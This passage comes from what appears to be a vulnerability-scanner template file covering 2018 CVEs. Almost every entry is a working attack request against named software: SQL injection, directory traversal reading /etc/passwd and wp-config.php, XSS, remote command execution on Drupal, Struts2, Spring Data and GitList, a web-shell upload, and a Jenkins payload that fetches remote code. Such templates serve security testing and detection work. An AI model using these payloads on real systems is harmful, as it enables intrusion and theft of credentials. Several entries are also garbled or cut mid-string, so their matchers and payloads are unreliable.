5.4.12 `commandline.php` SQL injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/nagiosql/admin/commandline.php?cname=%27%20union%20select%20concat(md5({{num}}))%23"],"matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]}]}]},{"id":"CVE-2018-11231","info":{"name":"Opencart Divido - Sql Injection","severity":"high"},"requests":[{"raw":["POST /upload/index.php?route=extension/payment/divido/update HTTP/1.1\nHost: {{Hostname}}\n\n{\"metadata\":{\"order_id\":\"1 and updatexml(1,concat(0x7e,(SELECT md5({{num}})),0x7e),1)\"},\"status\":2}\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-11473","info":{"name":"Monstra CMS 3.0.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /users/registration HTTP/1.1\nHost: {{Hostname}}\n","POST /users/registration HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncsrf={{csrf}}&login=test&password=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email=teest%40gmail.com&answer=test®ister=Register\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[">","Monstra"],"case-insensitive":true,"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["id=\"csrf\" name=\"csrf\" value=\"(.*)\">"],"internal":true,"part":"body"}]}]},{"id":"CVE-2018-7422","info":{"name":"WordPress Site Editor <=1.1.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php","{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd"],"matchers-condition":"or","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD"],"condition":"and"},{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2018-14912","info":{"name":"cgit < 1.2.1 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgit/cgit.cgi/git/objects/?path=../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-7600","info":{"name":"Drupal - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json\nReferer: {{Hostname}}/user/register\nX-Requested-With: XMLHttpRequest\nContent-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663\n\n-----------------------------99533888113153068481322586663\nContent-Disposition: form-data; name=\"mail[#post_render][]\"\n\npassthru\n-----------------------------99533888113153068481322586663\nContent-Disposition: form-data; name=\"mail[#type]\"\n\nmarkup\n-----------------------------99533888113153068481322586663\nContent-Disposition: form-data; name=\"mail[#markup]\"\n\ncat /etc/passwd\n-----------------------------99533888113153068481322586663\nContent-Disposition: form-data; name=\"form_id\"\n\nuser_register_form\n-----------------------------99533888113153068481322586663\nContent-Disposition: form-data; name=\"_drupal_ajax\"\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-18925","info":{"name":"Gogs (Go Git Service) 0.11.66 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nCookie: lang=en-US; i_like_gogits=../../../../etc/passwd;\n","GET / HTTP/1.1\nHost: {{Hostname}}\nCookie: lang=en-US; i_like_gogits=../../../../etc/dummy;\n"],"matchers":[{"type":"dsl","dsl":["status_code_1 == 500 && status_code_2 == 200 && contains(body_2, \"\")"]}]}]},{"id":"CVE-2018-17246","info":{"name":"Kibana - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"message\":\"An internal server error occurred\""]},{"type":"word","part":"header","words":["kbn-name","kibana"],"case-insensitive":true,"condition":"or"},{"type":"word","part":"header","words":["application/json"]}]}]},{"id":"CVE-2018-16139","info":{"name":"BIBLIOsoft BIBLIOpac 2008 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/bibliopac/bin/wxis.exe/bibliopac/?IsisScript=bibliopac/bin/bibliopac.xic&db=\">"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">.xrf"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-15138","info":{"name":"LG-Ericsson iPECS NMS 30M - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/ipecs-cm/download?filename=../../../../../../../../../../etc/passwd&filepath=/home/wms/www/data","{{BaseURL}}/ipecs-cm/download?filename=jre-6u13-windows-i586-p.exe&filepath=../../../../../../../../../../etc/passwd%00.jpg"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-16341","info":{"name":"Nuxeo <10.3 - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/nuxeo/login.jsp/pwn${31333333330+7}.xhtml"],"matchers":[{"type":"word","part":"body","words":["31333333337"]}]}]},{"id":"CVE-2018-12613","info":{"name":"PhpMyAdmin <4.8.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-8727","info":{"name":"Mirasys DVMS Workstation <=5.12.6 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini"],"matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"}]}]},{"id":"CVE-2018-1000856","info":{"name":"DomainMOD 4.11.01 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_username={{username}}&new_password={{password}}\n","POST /segments/add.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&raw_domain_list=test.com&new_description=test&new_notes=test\n","GET /segments/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"host-redirects":true,"max-redirects":3,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-20985","info":{"name":"WordPress Payeezy Pay <=2.97 - Local File Inclusion","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/wp-content/plugins/wp-payeezy-pay/donate.php"],"body":"x_login=../../../wp-config","matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["The base configuration for WordPress","define( 'DB_NAME',","define( 'DB_PASSWORD',"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-9118","info":{"name":"WordPress 99 Robots WP Background Takeover Advertisements <=4.1.4 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD","DB_HOST","The base configurations of the WordPress"],"condition":"and"}]}]},{"id":"CVE-2018-7282","info":{"name":"TITool PrintMonitor - Blind SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nPOST /login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}')+OR+4191=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(50000000/2))))--+vDwl&password={{password}}&language=en\n"],"host-redirects":true,"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"PrintMonitor\") && contains(header, \"text/html\")"],"condition":"and"}]}]},{"id":"CVE-2018-18608","info":{"name":"DedeCMS 5.7 SP2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/plus/feedback.php/rp4hu%27>","DedeCMS Error Warning!"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-19892","info":{"name":"DomainMOD 4.11.01 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_username={{username}}&new_password={{password}}\n","POST /admin/dw/add-server.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_host=abc&new_protocol=https&new_port=2086&new_username=abc&new_api_token=255&new_hash=&new_notes=\n","GET /admin/dw/servers.php HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":3,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-16133","info":{"name":"Cybrotech CyBroHttpServer 1.0.3 - Local File Inclusion","severity":"medium"},"requests":[{"raw":["GET \\..\\..\\..\\..\\Windows\\win.ini HTTP/1.1\nHost: {{Hostname}}\n\n"],"unsafe":true,"matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"}]}]},{"id":"CVE-2018-19915","info":{"name":"DomainMOD <=4.11.01 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_username={{username}}&new_password={{password}}\n","POST /assets/add/host.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_host=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_url=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_notes=test\n","GET /assets/hosting.php HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(header_3, \"text/html\")","contains(body_3, \">\")"],"condition":"and"}]}]},{"id":"CVE-2018-8719","info":{"name":"WordPress WP Security Audit Log 3.1.1 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/uploads/wp-security-audit-log/failed-logins/"],"matchers-condition":"and","matchers":[{"type":"word","words":["[TXT]",".log","Index of"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-11759","info":{"name":"Apache Tomcat JK Connect <=1.2.44 - Manager Access","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/jkstatus","{{BaseURL}}/jkstatus;"],"matchers-condition":"and","matchers":[{"type":"word","words":["JK Status Manager"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-12296","info":{"name":"Seagate NAS OS 4.3.15.1 - Server Information Disclosure","severity":"high"},"requests":[{"raw":["POST /api/external/7.0/system.System.get_infos HTTP/1.1\nHost: {{Hostname}}\nReferer: {{BaseURL}}\n"],"matchers":[{"type":"word","part":"body","words":["\"version\":","\"serial_number\":"],"condition":"and"}],"extractors":[{"type":"regex","group":1,"regex":["\"version\": \"([0-9.]+)\""],"part":"body"}]}]},{"id":"CVE-2018-14916","info":{"name":"Loytec LGATE-902 <6.4.2 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-1273","info":{"name":"Spring Data Commons - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /account HTTP/1.1\nHost: {{Hostname}}\nConnection: close\nContent-Type: application/x-www-form-urlencoded\n\nname[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode(command)}}')]={{to_lower(rand_text_alpha(5))}}\n"],"payloads":{"command":["cat /etc/passwd","type C:\\/Windows\\/win.ini"]},"matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:","\\[(font|extension|file)s\\]"],"condition":"or"}]}]},{"id":"CVE-2018-10141","info":{"name":"Palo Alto Networks PAN-OS GlobalProtect <8.1.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/global-protect/login.esp?user=j%22;-alert(1)-%22x"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["var valueUser = \"j\";-alert(1)-\"x\";"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-20010","info":{"name":"DomainMOD 4.11.01 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_username={{username}}&new_password={{password}}\n","POST /assets/add/ssl-provider-account.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_ssl_provider_id=1&new_owner_id=1&new_email_address=&new_username=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_password=&new_reseller=0&new_reseller_id=&new_notes=\n","GET /assets/ssl-accounts.php HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(header_3, \"text/html\")","contains(body_3, \">\")"],"condition":"and"}]}]},{"id":"CVE-2018-10823","info":{"name":"D-Link Routers - Remote Command Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/chkisg.htm%3FSip%3D1.1.1.1%20%7C%20cat%20%2Fetc%2Fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-9161","info":{"name":"PrismaWEB - Credentials Disclosure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/user/scripts/login_par.js"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["txtChkUser","txtChkPassword"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-15517","info":{"name":"D-Link Central WifiManager - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php/System/MailConnect/host/{{interactsh-url}}/port/80/secure/"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2018-20463","info":{"name":"WordPress JSmol2WP <=1.07 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'DB_USER',","'DB_PASSWORD'"],"condition":"and"},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-5715","info":{"name":"SugarCRM 3.5.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?action=Login&module=Users&print=a&%22%2F%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["&\"/>=&\"><< Back

    "]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-16671","info":{"name":"CirCarLife <4.3 - Improper Authentication","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/html/device-id"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["CirCarLife Scada"]},{"type":"word","part":"body","words":["circontrol"]},{"type":"regex","part":"body","regex":["(19|20)\\d\\d[- /.](0[1-9]|1[012])[- /.](0[1-9]|[12][0-9]|3[01])"]}]}]},{"id":"CVE-2018-7196","info":{"name":"osTicket < 1.10.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /scp/login.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(tolower(body), \"osticket\")"],"internal":true}],"extractors":[{"type":"regex","name":"csrftoken","part":"body","group":1,"regex":["__CSRFToken__\" value=\"(.*?)\""],"internal":true}]},{"raw":["POST /scp/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n__CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1\n","GET /scp/index.php?sort=\">&dir=1 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body, \"\\\">\")","contains(header, \"text/html\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2018-10201","info":{"name":"Ncomputing vSPace Pro 10 and 11 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini","{{BaseURL}}/...\\...\\...\\...\\...\\...\\...\\...\\...\\windows\\win.ini","{{BaseURL}}/..../..../..../..../..../..../..../..../..../windows/win.ini","{{BaseURL}}/....\\....\\....\\....\\....\\....\\....\\....\\....\\windows\\win.ini"],"stop-at-first-match":true,"matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"}]}]},{"id":"CVE-2018-19877","info":{"name":"Adiscon LogAnalyzer <4.1.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/src/login.php?referer=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-18778","info":{"name":"ACME mini_httpd <1.30 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers":[{"type":"word","part":"header","words":["Server: mini_httpd"],"internal":true}]},{"raw":["GET /etc/passwd HTTP/1.1\nHost:\n\n"],"unsafe":true,"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-19287","info":{"name":"WordPress Ninja Forms <3.3.18 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date=\">"]},{"type":"word","part":"header_2","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-1000861","info":{"name":"Jenkins - Remote Command Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["package#vulntest"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-10956","info":{"name":"IPConfigure Orchid Core VMS 2.0.5 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-11409","info":{"name":"Splunk <=7.0.1 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json","{{BaseURL}}/__raw/services/server/info/server-info?output_mode=json"],"matchers-condition":"and","matchers":[{"type":"word","words":["licenseKeys"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-20608","info":{"name":"Imcat 4.4 - Phpinfo Configuration","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/imcat/root/tools/adbug/binfo.php?phpinfo1"],"matchers-condition":"and","matchers":[{"type":"word","words":["PHP Extension","PHP Version"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":[">PHP Version <\\/td>([0-9.]+)"],"part":"body"}]}]},{"id":"CVE-2018-20526","info":{"name":"Roxy Fileman 1.4.5 - Unrestricted File Upload","severity":"critical"},"requests":[{"raw":["POST /php/upload.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary20kgW2hEKYaeF5iP\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\n\n------WebKitFormBoundary20kgW2hEKYaeF5iP\nContent-Disposition: form-data; name=\"action\"\n\nupload\n------WebKitFormBoundary20kgW2hEKYaeF5iP\nContent-Disposition: form-data; name=\"method\"\n\najax\n------WebKitFormBoundary20kgW2hEKYaeF5iP\nContent-Disposition: form-data; name=\"d\"\n\n/Uploads\n------WebKitFormBoundary20kgW2hEKYaeF5iP\nContent-Disposition: form-data; name=\"files[]\"; filename=\"{{randstr}}.php7\"\nContent-Type: application/octet-stream\n\n\n\n------WebKitFormBoundary20kgW2hEKYaeF5iP--\n","GET /Uploads/{{randstr}}.php7 HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["f76d6a5f7491700cc3a678bdba2902d3"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-18570","info":{"name":"Planon "]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-12998","info":{"name":"Zoho manageengine - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=11111111%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-1207","info":{"name":"Dell iDRAC7/8 Devices - Remote Code Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/login?LD_DEBUG=files"],"matchers":[{"type":"word","part":"response","words":["calling init: /lib/"]}]}]},{"id":"CVE-2018-14931","info":{"name":"Polarisft Intellect Core Banking Software Version 9.7.1 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/IntellectMain.jsp?IntellectSystem=https://www.interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2018-12909","info":{"name":"Webgrind <= 1.5 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?op=fileviewer&file=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:","webgrind"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-16283","info":{"name":"WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd"],"matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2018-1000533","info":{"name":"GitList < 0.6.0 Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /{{path}}/tree/a/search HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nquery=--open-files-in-pager=cat%20/etc/passwd\n"],"matchers":[{"type":"word","part":"body","words":["root:/root:/bin/bash"]}],"extractors":[{"type":"regex","name":"path","group":1,"regex":["(.*?)"],"internal":true,"part":"body"}]}]},{"id":"CVE-2018-10230","info":{"name":"Zend Server <9.13 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","is not allowed to open debug sessions"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-19326","info":{"name":"Zyxel VMG1312-B10D 5.13AAXA.8 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2018-12300","info":{"name":"Seagate NAS OS 4.3.15.1 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/echo-server.html?code=test&state=http://www.interact.sh#"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2018-12031","info":{"name":"Eaton Intelligent Power Manager 1.6 - Directory Traversal","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../etc/passwd","{{BaseURL}}/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../Windows/win.ini"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:","\\[(font|extension|file)s\\]"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-7653","info":{"name":"YzmCMS v3.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?m=search&c=index&a=initxqb4ncu9rs&modelid=1&q=tes"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","YzmCMS"],"condition":"and","case-insensitive":true},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-12634","info":{"name":"CirCarLife Scada <4.3 - System Log Exposure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/html/log"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["CirCarLife Scada"]},{"type":"word","words":["user.debug","user.info","EVSE"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-7467","info":{"name":"AxxonSoft Axxon Next - Local File Inclusion","severity":"high"},"requests":[{"raw":["GET //css//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows\\win.ini HTTP/1.1\nHost: {{Hostname}}\n\n"],"unsafe":true,"matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"}]}]},{"id":"CVE-2018-12095","info":{"name":"OEcms 3.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cms/info.php?mod=list%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-11776","info":{"name":"Apache Struts2 S2-057 - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-9845","info":{"name":"Etherpad Lite 